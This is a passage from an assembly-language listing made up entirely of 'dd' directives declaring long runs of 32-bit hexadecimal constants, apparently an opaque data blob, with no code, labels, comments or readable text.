		dd 0C044EDA5h, 0F8A89C12h, 17F25E16h, 8C70AC2Ch, 0BC244B04h
		dd 3B010E0h, 8C316A57h,	37B04046h, 7D16F199h, 800FB574h
		dd 0DF3EC0CEh, 583BE57Fh, 0FC0F320Ch, 2460798Fh, 3A55F805h
		dd 56A7BF0Fh, 7C47925Ch, 75E39C0Ch, 226080D1h, 8B7E01C9h
		dd 0A78A3D6Ah, 0CA46F87Fh, 0CFDEA801h, 8FAFAC34h, 1E6496E4h
		dd 0CE2B0226h, 7AC030CEh, 0AF199E32h, 0B25A4200h, 99F73C86h
		dd 0DB6D105Bh, 9C404BC7h, 9676E4DFh, 0BA2C00B8h, 26C84E01h
		dd 9F12FBBCh, 800833Fh,	657DBDCAh, 0CF7803D4h, 47E54C46h
		dd 94B929B0h, 412FC200h, 611C2AD1h, 743B0017h, 50CA24E3h
		dd 5800DB31h, 0D34CA434h, 77D406Fh, 0D50DC1D0h,	5E15609Fh
		dd 1102F469h, 6843ADE8h, 65A4C034h, 0D13F01ACh,	38EB4C22h
		dd 8EC1F8E9h, 0C369FF17h, 29119C00h, 6420CBh, 5C84AA6Dh
		dd 83D7A866h, 129D6000h, 5E751855h, 94A2092Dh, 0B48BFC76h
		dd 80DB7405h, 6AA31168h, 18BC7501h, 0CFCC7294h,	0F4488C40h
		dd 0D8450097h, 5EEE01E8h, 0EBF0B563h, 60335000h, 0F49FDC74h
		dd 2D0900CFh, 91FED6EEh, 1BE08CBFh, 86153C00h, 0A7ABACAh
		dd 2C963D73h, 0F8F8ACh,	1E499B6Ch, 0B90127DDh, 54484AA1h
		dd 40E689C5h, 1CC71B80h, 0C07C4D92h, 0B463ECCBh, 7212EA5Ah
		dd 131FC8CAh, 8B744840h, 494CF758h, 50084BBh, 75A1A028h
		dd 7200ACB1h, 0E4D5133Dh, 74A6D670h, 30277857h,	0FF31E7F4h
		dd 0F301B5DDh, 8AC8E425h, 3604A95h, 389060h, 0A6265FB4h
		dd 9FC40C9Eh, 0DA8DCD00h, 0B1AF05E7h, 0B5A0118h, 0D40A5BB0h
		dd 4E78C419h, 3CE93F00h, 9742D0F4h, 7AFC000Dh, 0EC362F4Dh
		dd 0BC008FD1h, 0CCC22B19h, 6CC424h, 51A843F1h, 0DD5847D5h
		dd 0E5B19F01h, 8590575h, 0E348020h, 80395A56h, 0A7559CA0h
		dd 58005C82h, 0E3654D41h, 7FFB1F25h, 33427372h,	0CEF0D235h
		dd 91B0D0A4h, 0F2003010h, 36B1EA8Eh, 0B5E4D9h, 8816CC4Bh
		dd 0D23E7C29h, 0E90988A8h, 8F02EB75h, 0C63803F0h, 0B88468B7h
		dd 0BED2021Dh, 0B19EB2AFh, 655A5860h, 0D66E1A00h, 60458C2Fh
		dd 9218017Ch, 4A214EF8h, 2D7320A1h, 0B3C5BB00h,	638741CEh
		dd 67E23FEBh, 0CF584237h, 0F080FC00h, 9E006F1Bh, 759319F7h
		dd 13DE678h, 5D43AEEEh,	0F406319Fh, 5501402Ah, 0F3965AFEh
		dd 0A8408C5Bh, 49A036h,	0BF0D98A2h, 7D74D020h, 88F9F830h
		dd 614DD20Fh, 0CF5DE014h, 3689DC53h, 0B1296402h, 66828AD7h
		dd 94410100h, 0AA5575E6h, 0DE4474F7h, 8A427B18h, 72E02CB0h
		dd 0E584015Eh, 0A3121394h, 819DC8C2h, 83795438h, 4EADDCECh
		dd 0B5D1E0A1h, 2C1DE250h, 8FE492h, 635F597Dh, 0E23BCAD0h
		dd 7F2B8E7h, 9AB94334h,	809DF913h, 2CEA9BE8h, 2B25678h
		dd 0E63719A5h, 0DED7E8A0h, 8F0FA702h, 80B25992h, 2CFD47F1h
		dd 2A820F28h, 79621574h, 0F8E03EC0h, 2B0086CDh,	51C8BDDFh
		dd 1D992AC7h, 87D29AABh, 0F0D30823h, 0CAC62262h, 5B94CB07h
		dd 31E18761h, 0D428A02Fh, 9E4DFB01h, 0F0EFC35Ah, 0C8097612h
		dd 0CC4688h
		dd 285D3BD2h, 755616A8h, 0DD7040AEh, 65164053h,	9B71E100h
		dd 35A62458h, 0D737007Dh, 858DFFE3h, 49003957h,	0BD3B63E9h
		dd 4B3167DDh, 0A8580035h, 5B3F186Ah, 0D4FD5F50h, 3158E700h
		dd 544795F5h, 94EE0040h, 939D9C4h, 2F050FAEh, 1C866865h
		dd 1C3887C6h, 40DBA57Ch, 0FB8CFAFEh, 81007434h,	0C8D91E0h
		dd 76B5FEAh, 64E249B9h,	1F783347h, 0FD9462F8h, 7A413Fh
		dd 4DC68D39h, 0D6B153h,	3F8943BCh, 8E4FE5C1h, 0BEA74400h
		dd 54E8DF0Eh, 97460103h, 0CCFFA0B8h, 80844720h,	22098C24h
		dd 883E4Dh, 19167EB6h, 983306h,	0B89D97C4h, 41FF5DAEh
		dd 8D7C4A01h, 199FBFABh, 9E2C2760h, 48F1895Ch, 0C425F600h
		dd 0B403B829h, 754F7CD2h, 0E067E861h, 0F82A02EBh, 84035586h
		dd 276F5840h, 0BED80900h, 0ED3D69C3h, 0CA50022Eh, 62F82D38h
		dd 28DB5C40h, 0F1E98409h, 0A92C4082h, 2C0B001Bh, 47765B0Ah
		dd 9E006C16h, 0E7F80F58h, 1704EA4h, 0EB54ADBCh,	0C42B5FA7h
		dd 0D20928D7h, 797DA2h,	0AB578B38h, 247002EFh, 210508D1h
		dd 91E2D8E8h, 0F580B8B1h, 250C332Ch, 4C42002Fh,	0D4A720A1h
		dd 0FB1881EEh, 69803F37h, 2A210014h, 0B8C666BEh, 4A1C9348h
		dd 0E0404E5Eh, 65182B29h, 0E6707Eh, 0A7D81DCEh,	2688F683h
		dd 1C48E0Ah, 350EF466h,	7972E0E0h, 3ED630D2h, 2E80C66Ah
		dd 0C8AC1AC7h, 7C4F6452h, 0D00B2C00h, 2725817h,	13049747h
		dd 7048C8A0h, 7107B37Bh, 0D9DD2EC5h, 30C0B655h,	7FA4FE6Ah
		dd 13800707h, 1EF1E590h, 672490B7h, 5AF6B383h, 6AC23500h
		dd 45FD9DD3h, 0B0F0ECD5h, 44290509h, 407B1678h,	0DCDA2BECh
		dd 504A32F8h, 303F1800h, 85B91h, 6918FDCBh, 0A063B25Ch
		dd 80D4113Ah, 0C2EFC6A5h, 56E8BE8h, 0A2D3C1Fh, 5314F43Ah
		dd 4186D401h, 0F5340361h, 0CD17E8h, 24FEBF19h, 476D982h
		dd 67783F03h, 90656F12h, 1AF6ABDh, 9D254EEh, 0F819D046h
		dd 4C0081A7h, 628C364Fh, 0FE07C510h, 0CD8A259Bh, 0B23BB880h
		dd 720013F0h, 0DD6DE8FAh, 7329Eh, 0A4265223h, 3C3BEAA9h
		dd 17688400h, 0E00259D6h, 0A0DF0075h, 3E2F0DCCh, 1901A812h
		dd 1B9DF3F1h, 0C040958Bh, 74CCD1C0h, 289C131Eh,	0C074878Fh
		dd 48AD94D2h, 64D76607h, 90476E3Bh, 0A8616A07h,	1080763Ah
		dd 89924665h, 8000980Ah, 60B442A7h, 0E406A15Eh,	0CBC001E3h
		dd 0AC1834A8h, 0D97181D5h, 0D43E42CCh, 18E850EAh, 88D81261h
		dd 0BA0045C7h, 3513416Ah, 0F6390D27h, 0FB4600B4h, 2B6FBD8Bh
		dd 0F31FEDB7h, 1D44A9BAh, 0D8C483C0h, 10E35C48h, 6F9B006Eh
		dd 73B0FA99h, 15412582h, 94CCBC40h, 0B4098B00h,	6B8AEADFh
		dd 0B7B90083h, 8DF495AAh, 0C02AE90h, 75B6BF8Bh,	6CC1C0B4h
		dd 3C7F00CBh, 3B098FECh, 70388F5h, 469DBAB2h, 6CCBD0C5h
		dd 6D6000B3h, 0B8E0E132h, 55005AA8h, 0F85BF7CAh, 9D3B9Bh
		dd 3372647Bh, 0A43ED2ACh, 0F59F4900h, 6593F0ABh, 69BB07C6h
		dd 0E01F568Eh, 0BF0E7DC0h, 3FEE5D00h, 5F724185h, 38905C9Ah
		dd 0E2A4AF3Ah, 1C3184A4h, 7F7C434h, 9BD4C080h, 0C0C97424h
		dd 0A753612Bh, 0CF54BDF8h, 4522670Ch, 10DB4350h, 0E19F5857h
		dd 24661B8Ah, 0A1049311h, 2547344h, 90B446C2h, 92110FECh
		dd 3688A060h, 0BAF40992h, 60AE314Bh, 3886FA8Bh,	784450F0h
		dd 2FE318BBh, 0CF1C3952h, 9E7BA93Dh, 10FA468h, 78B0FA6h
		dd 47C12BCEh, 718F99B4h, 0B60581C1h, 80080F96h,	40AEA104h
		dd 0E3E8D29h, 0B64E01B5h, 99B0FE8Ah, 4F798034h,	52FFE124h
		dd 3DEB24A7h, 96D68028h, 683B8D88h, 747343Eh, 33CE5302h
		dd 0B6985693h, 0ED710029h, 9C015E9h, 0D832CFCCh, 7A6A0879h
		dd 0E9EF0040h, 36934529h, 0ADE421B1h, 0B410A900h, 48C53B87h
		dd 0CD5B58ACh, 62C3430Ah, 0BD8803B4h, 183B9C18h, 0CB9CD028h
		dd 60A32314h, 0AA441010h, 2E518963h, 36991CA0h,	61D811C0h
		dd 5CB92B8Dh, 0BB194365h, 0BF3F086Dh, 8D598F21h, 0DB70C017h
		dd 0FAB122F8h, 304000D7h, 50A48147h, 4C00D6CEh,	3FDA6298h
		dd 0E388A31h, 0D5107A1h, 72971CC3h, 3C9A9018h, 0C12189h
		dd 0A0C7230Bh, 97E8F880h, 0BAB1DC00h, 0C06F6A5h, 0C08A010Fh
		dd 0F4B72CD6h, 805880D9h, 0A16A899Bh, 2F32007Ch, 0B6A0AE6Fh
		dd 6200ED0Ch, 0E4980E08h, 0E488FC70h, 28A4275Eh, 52000F58h
		dd 30BCBE03h, 0FCF7FECCh, 1E590046h, 0F5E3E299h, 0E0756DCh
		dd 0D02EDEA3h, 0F6823C20h, 0D99300B2h, 52E76966h, 0CD1D23C0h
		dd 1C7F1689h, 8CCEDD2Fh, 9E5B07DEh, 5C1B8A90h, 0AE7000B0h
		dd 6279F74Dh, 5A03BC8Bh, 7E097B61h, 0EA43C810h,	818C0087h
		dd 2DD70598h, 0E0F389Dh, 0A07D47A2h, 0ACAA7A73h, 29F11CBEh
		dd 5D7B8364h, 0CFA72402h, 0B8AE0F23h, 20C3AFF9h, 7900D186h
		dd 428D9992h, 14E6922h,	516CFED9h, 20A76A57h, 75EAC6FEh
		dd 0FC083D00h, 24450F76h, 95AE00BEh, 3173A89Ah,	0D5007EE9h
		dd 0D3E2B128h, 263EE42h, 1C672EFh, 0D4E090C0h, 0C1006775h
		dd 0CD9A6F82h, 0DEC4A0h, 222CFFB1h, 2AFD746Eh, 5C123700h
		dd 0B41325Dh, 0B8D113EBh, 948700A7h, 0F6DF55C3h, 7AA8B3Eh
		dd 0A2068A36h, 93E85980h, 0BCD501FCh, 6280DDB1h, 33C9E4C1h
		dd 4121BE00h, 8DD68B11h, 22300099h, 3BEDA9A5h, 0E6006373h
		dd 2CF802C6h, 17057E42h, 0DC6D1Fh, 0BEA3A45h, 0DB00A538h
		dd 13A9B6ABh, 772BA79h,	56977BE7h, 336ED015h, 6300F7B4h
		dd 8AEF02C7h, 0EFF0A1Dh, 2DCDE060h, 25FB3840h, 0BBEE79BAh
		dd 7CBF2C00h, 0D719E8AAh, 8E3439A0h, 51EC200h, 0BB574A79h
		dd 63736324h, 0DCE4CD00h, 60AF18CFh, 665010A0h,	4101CE79h
		dd 954E9CC1h, 1BEC238Ch, 93D70E09h, 4C60FE83h, 5C05D1B3h
		dd 0B931181Ah, 8A088170h, 17708BBFh, 0D3B700BAh, 0F736C2BCh
		dd 82007CCDh, 8E4ED750h, 6DFE4Fh, 6AB3B8D6h, 37AD749Dh
		dd 0C6184A02h, 0E039C4D9h, 0FE82B278h, 4E080086h, 12419EF4h
		dd 0BB01283Fh, 7232AF29h, 0A3403DF6h, 46D319h, 1DA9B796h
		dd 45B2529Eh, 99FCB100h, 4CF3EA42h, 0FED43FF7h,	87D9D880h
		dd 725126B8h, 89E7C200h, 658EB4C7h, 38DA004Bh, 2693974Ch
		dd 8D0034A1h, 75122A83h, 91166Dh, 843DF1CDh, 74615CB6h
		dd 0CD4E803h, 1DE6DECBh, 4C39D848h, 455913EEh, 6E97500h
		dd 0F4EF3044h, 4837EE03h, 9A13A9B7h, 0E0370E81h, 5B957981h
		dd 75E8800Fh, 937C25B8h, 0C53400FFh, 0D305F2DFh, 6F020ED0h
		dd 0FE11CEEFh, 44B883A9h, 0C970E180h, 82AF7180h, 0E9A6D937h
		dd 1CD4238h, 0D0165639h, 30E076DFh, 94BE0E80h, 0EB00B9ABh
		dd 0C49DE63h, 0B029D0E3h, 5C453E01h, 53D12469h,	0A4008445h
		dd 0DC67738h, 7C324874h, 0C3DD0073h, 0C2AA72F6h, 0E6036857h
		dd 1C3F05F8h, 0E03D8B69h, 0C764BBh, 9F457D0Ch, 0CBA94A4Fh
		dd 615D8A03h, 0AA5E2D77h, 691C40A8h, 1AD90017h,	0D17A8C21h
		dd 6A009D4Ch, 0BBBFA29Bh, 7730C5EDh, 785E482Bh,	0F0735300h
		dd 94776EBCh, 0CE2D4D09h, 0D845003Bh, 7804F84h,	0F0A578Bh
		dd 0BDAA2036h, 714C61E2h, 9A057C0Ch, 6AABB748h,	760AA402h
		dd 383D06AAh, 14CF593Bh, 0C471A5h, 1DBFCABh, 5A5388h, 0CC1E1D68h
		dd 328C510Fh, 0ECFBE500h, 852F41DAh, 0A6090702h, 80A7ADBAh
		dd 0B7107957h, 6B58EB01h, 5AC0864Ch, 16A3BAECh,	73DDDBFh
		dd 707D9635h, 4D54B161h, 1A6CBD00h, 0D8145B36h,	0EEE8002Fh
		dd 38729B39h
		dd 0DD249CF1h, 0CF00A4FAh, 61E3D2DFh, 3FD475C1h, 0C7037E78h
		dd 9FB48737h, 407991B0h, 0ACC6D4A0h, 2700F8E4h,	0CFA0E7D9h
		dd 0EF4F8Fh, 1718EBD5h,	37F08259h, 0E281CA00h, 412B26EEh
		dd 8DD700B1h, 438F916Dh, 820339D6h, 7EA62792h, 4D2100C1h
		dd 0ED1B848Dh, 0EB0181A2h, 19AFAB85h, 503014CAh, 49AD00EEh
		dd 5E922DAAh, 0B2486381h, 215800ACh, 898F31B4h,	0FCE9389Bh
		dd 161CB800h, 5876FB29h, 0D4AC7000h, 0D6463F9Eh, 0F2F11C63h
		dd 18721821h, 0AF00E436h, 9A6B8CEEh, 43E6423h, 2542353Dh
		dd 3C0C8065h, 68001058h, 0CABEE6FFh, 0A25680h, 0F4AF499Bh
		dd 84B4531Dh, 990039EEh, 300BB831h, 0BD36BBh, 517CBEB3h
		dd 0E229D779h, 1DE0A900h, 0AD5D8D2Dh, 0A14BB0C8h, 31EDA10Ch
		dd 920B803Bh, 2F0C3EB9h, 70FE240Bh, 4725Ah, 2B1E72DEh
		dd 0F2C34D98h, 0B85D100h, 7D9469FAh, 0F5A73C5h,	0F35BC1A0h
		dd 7F608DA0h, 0B707797Ah, 1E27C340h, 68BB2991h,	989FACC5h
		dd 28D4C167h, 606FBFEFh, 6C064174h, 0F3892718h,	21F90111h
		dd 0BEF06AD4h, 5134C43Eh, 8681D91Dh, 692DB800h,	90A305A5h
		dd 851E0070h, 0A87FE4EBh, 0E902FECDh, 0A28250FDh, 0DE8048ACh
		dd 469348F3h, 3B74284Dh, 0E400CA1Eh, 4EAEF511h,	0E15C1C21h
		dd 0AA85006Ch, 35A2C4EAh, 637738h, 0DA267C04h, 7D3A201Dh
		dd 52AE8097h, 67FE1DBh,	94F18F5Fh, 4F0F3828h, 0A07D6A23h
		dd 66DAD316h, 0F4D80071h, 44C921AFh, 728103Ah, 0B850B09Fh
		dd 300A1EB8h, 0A53F7F74h, 0AF84E800h, 171FB85h,	0C6C2C7B8h
		dd 0FCA6CBB7h, 7E00999Eh, 198CF088h, 9AB044A0h,	9ABE00C8h
		dd 29F7BA0Eh, 8A003A31h, 0DD63B1ECh, 9C72AD4h, 0E3B76D71h
		dd 0AC20810h, 44725Ch, 0CA6FB27Ch, 1E1F8C5Fh, 0EB7679Fh
		dd 9E0AE71h, 1C806EECh,	0E600DD7Eh, 58BBB376h, 0DEDF40h
		dd 0C23AD068h, 93726E99h, 0B849420Bh, 80FD0939h, 0C4A2CCD0h
		dd 67570037h, 2920E925h, 1CFCA78Eh, 7F0F45F0h, 0A39E797Eh
		dd 0C3FF7D57h, 9D498889h, 1DF80722h, 0C0E1DCBAh, 9857C647h
		dd 0A0857404h, 0F5402DD5h, 0BF3DD81Ch, 0F3DF4200h, 0AF726962h
		dd 0B9250E1Eh, 0B1E0CC82h, 0CD3E27F6h, 464FAE00h, 4B3B2645h
		dd 6048585Eh, 805C111Ch, 0AE7B2E1Ch, 1F0025A1h,	0AAD7C89Dh
		dd 0F8CA62h, 0B5F07438h, 0AB16FD86h, 0BDFFBE01h, 0DB40F158h
		dd 5705118Fh, 0ACADEC02h, 20A506h, 24C6DB04h, 205701A8h
		dd 3431BF00h, 583D7F70h, 0F835F645h, 0D1F50925h, 4C07B1A2h
		dd 3F20D01Bh, 6F0105Eh,	1FB5716h, 4FADA300h, 5A96416h
		dd 2ADD5560h, 0AA84177Bh, 7C886718h, 4AD000B7h,	0BB0B5CD8h
		dd 0B4034F79h, 21859472h, 0E6ED8008h, 93300286h, 38D4F9F0h
		dd 0AB81D380h, 5B0019DFh, 2E31AF2Bh, 0AA55Dh, 0A1DB28F3h
		dd 7CB7B939h, 9E6FFC05h, 0DF0FDF8Ah, 3E678086h,	3C16E388h
		dd 8004CAAh, 0AFE25DFFh, 29008297h, 0EB72F40Eh,	958420h
		dd 7AF0DF49h, 0BEAEE638h, 0BCB17600h, 0AAC550F8h, 4E79DEh
		dd 0BD556574h, 3539F1A0h, 2C0B66F4h, 80EF7BA1h,	1605EBA5h
		dd 0C3CC002Eh, 9EE86CDDh, 1AE07227h, 39293Bh, 9A98034Dh
		dd 7F38FE17h, 37A301EBh, 51F5BF05h, 0AE94469Dh,	6EC1F400h
		dd 3620801Bh, 86B6632h,	590021CAh, 8C8C18Fh, 0A438773h
		dd 37A22749h, 0F6E580B4h, 9A921823h, 0DCFA6101h, 4681C6A7h
		dd 5D3060C2h, 0E549C0CDh, 7F57C880h, 1D6F58h, 0C466462Eh
		dd 547840h, 683D0DAAh, 28DC1F77h, 0AC3950D8h, 0D48E0FADh
		dd 8101611Ch, 91A4BAD3h, 0E280EBC9h, 0F01B68C1h, 5FCE448Ch
		dd 3CC1FD01h, 3B0529D6h, 0A55C180h, 62CE4CE9h, 0E8AA171Dh
		dd 0D081C480h, 7464F8ACh, 950A80ABh, 3CF5630Bh,	55CF8368h
		dd 0AE083778h, 638EB021h, 0E000D5C8h, 0BB1B4B91h, 0DBDA95h
		dd 0A9E5771Ch, 0A34637B1h, 184D448h, 591A8515h,	54F1B729h
		dd 0EE6F670h, 75167ACEh, 0B809BA0h, 477C8676h, 80376B3Eh
		dd 9065BED5h, 67CF4Bh, 0C9687DFDh, 2D94D40Dh, 46162600h
		dd 0B128640Bh, 0D1E003AAh, 7CC24323h, 1FDA9CA0h, 54D8FA00h
		dd 0E6B3B0F5h, 0B7083AE2h, 9A21D075h, 84ACD900h, 0BF56A0A2h
		dd 26F85558h, 0E502BAF8h, 0C0764297h, 0E8992B8Fh, 3C23007Fh
		dd 16F7B751h, 471903CDh, 8D08A51Fh, 0C95F2180h,	0CC0275BCh
		dd 0A0A92A00h, 138C308Fh, 92D8CE48h, 3C80C32Ch,	6F936248h
		dd 0AA7A0039h, 6614788h, 5997E731h, 17600839h, 88929921h
		dd 0ECA603F6h, 55F51FCDh, 0A0EF0588h, 0E21AC319h, 51B29CB0h
		dd 3D30A6B8h, 16FB08B7h, 8164196Dh, 0BCD55340h,	0E800C47Eh
		dd 0CF49195Eh, 0C7962692h, 0C3A13F21h, 5D0E659h, 0C706554Ah
		dd 0B5979348h, 1D9F0378h, 0DF34390Ch, 7ABAF3E0h, 7BC4A0A7h
		dd 0ABA39660h, 0D8006590h, 2A5DB439h, 0F7E061h,	0AD7A0285h
		dd 0EF66DF9Fh, 0D0108067h, 0E2B3C270h, 0F68A0005h, 0EDB046CCh
		dd 4F1EC34Bh, 6E47F44Dh, 8C901081h, 1E67BC9h, 598086E3h
		dd 0EDB262ACh, 373CDCFCh, 0FE25C200h, 648EE169h, 654E3B02h
		dd 0C026621Fh, 6804C542h, 0AF00FCDEh, 0C3B79681h, 3EA29458h
		dd 0B5035E8Ch, 82597AB0h, 3FE01C82h, 9F00661Bh,	0CCBB79DDh
		dd 3019057h, 0C0313764h, 1AA615D8h, 0E56FD003h,	0B860845Bh
		dd 0E3C766h, 0EC190A7Fh, 0F521A8EBh, 49104E1Dh,	0D0EF1033h
		dd 6C75A28h, 0CEAC87A0h, 506708B8h, 28C08E21h, 79C59Bh
		dd 0B24F64D3h, 9EF32E38h, 42004C77h, 0D126D2BCh, 0AD70AAh
		dd 0DFEB532Fh, 0A77EE691h, 65484F67h, 0A3BF6C0h, 3859C058h
		dd 79B9B041h, 52479700h, 29C5EFD4h, 16750186h, 0D6F4CE0Fh
		dd 0BA6E60ECh, 0A40258A4h, 40C75E28h, 1053198Ah, 78289C82h
		dd 369F2DDh, 5E9E33D8h,	49D8B886h, 2F07A22Ah, 0F6D9466Ah
		dd 0F80E40CEh, 0C67A2C6Ch, 8E0A641h, 6B454F00h,	8B86BC4Eh
		dd 0C6840021h, 2592F199h, 65F4790Ch, 0C004EA00h, 0D9E89319h
		dd 1D95B83Bh, 3936EDE4h, 6ACE5900h, 0A7C627C1h,	590CFA30h
		dd 0E850F5h, 77D20DB7h,	34DB5A38h, 8212013Ah, 0D83C86AAh
		dd 0A89CA03Fh, 74D0F8A0h, 3D129A7h, 0AFD900A8h,	24F47ED5h
		dd 8B31DC00h, 26A4CF34h, 0D4600BBh, 0FEF014ADh,	68A0A7A8h
		dd 0EEF0C411h, 0B4F38200h, 0F7EA95Ah, 8B5D0120h, 3092A18Ah
		dd 0B56180AAh, 0F0944DF9h, 0F26F0073h, 0BDC6C159h, 53032C65h
		dd 6CD8D217h, 702FE095h, 96773122h, 804B0B38h, 0F047DB9h
		dd 0D5B276h, 35F92F1Ch,	89DDEA16h, 0E8068A76h, 3F0BB5F2h
		dd 93F631h, 4132808Eh, 4BE206B2h, 8D3448h, 40D3C670h, 31995BA0h
		dd 0D8D1E8BAh, 6DA850F7h, 5D0080BDh, 20155F5Ah,	7B30C371h
		dd 76A43B9Dh, 0EDD27780h, 1CF87F2Ah, 8021BE3Ch,	3056362Ch
		dd 67EC9EEh, 0D43525E5h, 0C600D08Eh, 6F38C8DEh,	12B9CFBh
		dd 0DDB064A6h, 0E048ABECh, 0A3E0B49Dh, 0CF5AB100h, 70E15ED4h
		dd 236C11F3h, 5B240D41h, 0E0EBA164h, 0C0FFA6h, 34A30C22h
		dd 61E64DC4h, 10B89F54h, 0A9393A60h, 0C09CB33Fh, 0CA7701F2h
		dd 5100068Bh, 3E41EC05h, 0B912CFh, 1F203423h, 0EAE5D4A8h
		dd 5F2442F3h, 0A90CB320h, 0F04800BDh, 0B59590A0h, 0EF1D6BD8h
		dd 364632B7h, 0F8A153D7h, 4D7B00EAh, 0BBCE1862h, 0E2640BB6h
		dd 33816649h, 0A9C8CF10h, 4BEE0058h, 2CBDDD69h,	0D4009FC7h
		dd 9C0FDCF5h, 0FA5974Ah, 83A0FD8Dh, 44D51283h, 6852C980h
		dd 3B1AFF00h
		dd 54559DE3h, 0D604A7E4h, 0B9CAE70Fh, 0B708356h, 0F5D07DEAh
		dd 0D34CE4h, 4AB4A445h,	0CFA76754h, 700D840Bh, 28390CDCh
		dd 0B0604465h, 3E3D608Ah, 82840F5Dh, 0A820CB63h, 6BD63435h
		dd 0A6E8C500h, 61998C90h, 94290FC6h, 9241DCh, 750976E4h
		dd 0B70EE7CEh, 0FC9D882Ah, 7D95DF80h, 7B5245h, 0D821F889h
		dd 9FB1320Eh, 0B9478A0Eh, 0A5C16039h, 222C38h, 0E3CEBD0Ah
		dd 0BF583607h, 0B6FEF600h, 745904A6h, 84F2014Ch, 642AE16Eh
		dd 0E4DAC5A4h, 2C004DC6h, 8FBAEB5Dh, 1FDBFA34h,	405CE609h
		dd 906665ECh, 740789E7h, 5655BE45h, 0A0B87373h,	82787Fh
		dd 1D2C638Bh, 39B3113h,	1A5AE000h, 17097CEFh, 4BC30723h
		dd 1949BCh, 910F256Dh, 843AB900h, 43E293B8h, 0CEFB01EBh
		dd 71867A57h, 90A9406Ch, 820007B2h, 0DCF7D1ADh,	77A6BCBAh
		dd 76F5FEF4h, 58A21E5Fh, 9470C02Eh, 0C52ADAEAh,	4AD1700h
		dd 1D3354AAh, 972B0395h, 9971F02Dh, 0D0B786E9h,	0E360132Eh
		dd 0B48D8AD8h, 0F12800D2h, 23A349DFh, 9B00BC8Ch, 0D40631B8h
		dd 38610BEh, 0A1245330h, 0FEE0D718h, 4E28ED71h,	0AD00EDA7h
		dd 6BDCEE8Ah, 2B9B2h, 4F5BF04Bh, 690798ABh, 2235B800h
		dd 0BB3DCAECh, 9A5E0027h, 0DE5DBE2Dh, 0FD0026BCh, 1C808CCCh
		dd 0F2246E46h, 2049C0C2h, 0B6596A29h, 0C0921100h, 0BFBB43BEh
		dd 368D004Ah, 0EAFB96CCh, 8000ADD8h, 5F335241h,	3ED2C53h
		dd 1D8CDAB8h, 52244325h, 481D41Ah, 0ED44CECh, 50BD99F8h
		dd 14FCCBBh, 0C883204Eh, 0CB97CC41h, 6E6B1900h,	850E022Fh
		dd 4CC010C9h, 0C29700B9h, 0EAB7F773h, 0E3C00E6h, 8EDF62F2h
		dd 0EEEAE44Eh, 0F9427006h, 43797B36h, 0CA08806Eh, 1043B90h
		dd 2221B957h, 613D6AEBh, 1E4080CEh, 73E6158Dh, 9E3E0040h
		dd 5471965Ch, 11C05DCCh, 0B30F9D8Eh, 63A0230h, 901252C8h
		dd 7635EC40h, 3FED7800h, 0C50B9447h, 5DDC0EC6h,	4127663Dh
		dd 0D4E14017h, 0C09D6BF2h, 1D8CE3Bh, 0B5515EFFh, 0E4B192A3h
		dd 0C1DF929h, 48405AE4h, 0FC8FF0C4h, 51B000AAh,	0B3ECA99Eh
		dd 584CDE52h, 482D309Bh, 81EBB8h, 21845390h, 861E55EFh
		dd 8F250A00h, 0F302A032h, 0E71B0E51h, 4A604638h, 0F1F4ED36h
		dd 14C4C4Ch, 1F871DCDh,	5770D617h, 38157449h, 0F808FE5h
		dd 382ABF18h, 1000FCC2h, 0F2033065h, 0E6EB7Dh, 2BE586AEh
		dd 6DBCB0A8h, 0D2C0D9C0h, 0D49001h, 8521551Eh, 0E1B7A723h
		dd 97B530C0h, 3A51114h,	0F6DFCFBAh, 0B98B41BEh,	33D3D0F7h
		dd 257790E2h, 0BD0B0500h, 0A9D8C921h, 941F0075h, 0CA411255h
		dd 8915C67Fh, 2F819B5h,	1F851D15h, 67B8A0F0h, 35E1C20h
		dd 8F4A33E4h, 0B1000C5Bh, 980A5C36h, 0E0387Fh, 57971F94h
		dd 3149BB04h, 0C96DFC07h, 8D808684h, 12743322h,	40F8EFBh
		dd 5CCF03C0h, 0E1F7AB80h, 99A508h, 57B50E87h, 8B265F35h
		dd 7CB32926h, 97316902h, 538CA098h, 0E2C099B8h,	540C079Fh
		dd 0C06815FDh, 7ACF551Dh, 0DF00EE98h, 97ACD2A0h, 2A1BBB6h
		dd 183AE106h, 709E21B1h, 1D2E2F1Eh, 48161A40h, 24AB8776h
		dd 64C88D3Ah, 0D04B413Eh, 0AC2027C3h, 3AFA3C42h, 681872A4h
		dd 49456094h, 3C60D0C3h, 0BDCC4B70h, 117D60C8h,	83F8C7BCh
		dd 380F4C12h, 0B271A860h, 108A0A4Bh, 509C8F3Eh,	0A2128BEEh
		dd 0D470A636h, 448818B5h, 8D372EC0h, 0FCE08992h, 329812Fh
		dd 5F958BEAh, 84A54EA5h, 58AC4F54h, 14006A29h, 728F2BF9h
		dd 0E6FEA00h, 0D5317582h, 0DA30005Bh, 0E6D8A738h, 1C30637Bh
		dd 9CE7B054h, 107A18FEh, 7B14D928h, 96008BF0h, 53D5063h
		dd 12A336F5h, 4992BB6h,	7175D6F4h, 1DDC20DFh, 0C89217h
		dd 4B0E6E5h, 1906DE78h,	2685FC01h, 0DCF90C2Ah, 0BC64D6h
		dd 0E48441F8h, 4806BBC4h, 0C47752h, 7113552Fh, 132B6FFh
		dd 0EF992957h, 0EB03CF41h, 0FBDC1E51h, 1BE03101h, 6DA801CCh
		dd 38E070h, 0FF788FE9h,	27533580h, 25ACC754h, 3AC53C14h
		dd 58090D8h, 5DE3FE3Fh,	5C4F50C1h, 0A698E834h, 1CFF00B0h
		dd 688DB233h, 140E679Bh, 62CB59F8h, 0A0E6B98Eh,	98922228h
		dd 0ECF8A881h, 0C4403BAFh, 1224392Eh, 94BE00C9h, 1D0AEB35h
		dd 0A42EBF01h, 18B751CEh, 0C0048442h, 88AEE69Ch, 5660F1FAh
		dd 4EF8D011h, 0D9D60085h, 90B052C6h, 130B110h, 4958A999h
		dd 8BAF0070h, 0BAB65715h, 50B573A2h, 1DA5001Bh,	0D6102026h
		dd 0E400DCC5h, 4F8C56C7h, 4C3DF7Eh, 0E55B38A6h,	2DB09155h
		dd 5C460C5h, 56708203h,	0C7ED64F2h, 118CE6h, 481ED0A8h
		dd 0E9CE44E4h, 0CCB5012Ah, 0CF563801h, 0A77A1632h, 9BDC2C25h
		dd 0EEF40007h, 55C0BF40h, 2C0EB292h, 40352845h,	0C4319D54h
		dd 0E9D9038Fh, 3BE7E17Dh, 99CEC080h, 0DBF4A90Eh, 281AA047h
		dd 0EB3BA0Eh, 21EC417Dh, 0AA23B640h, 0FB090276h, 80C45CF3h
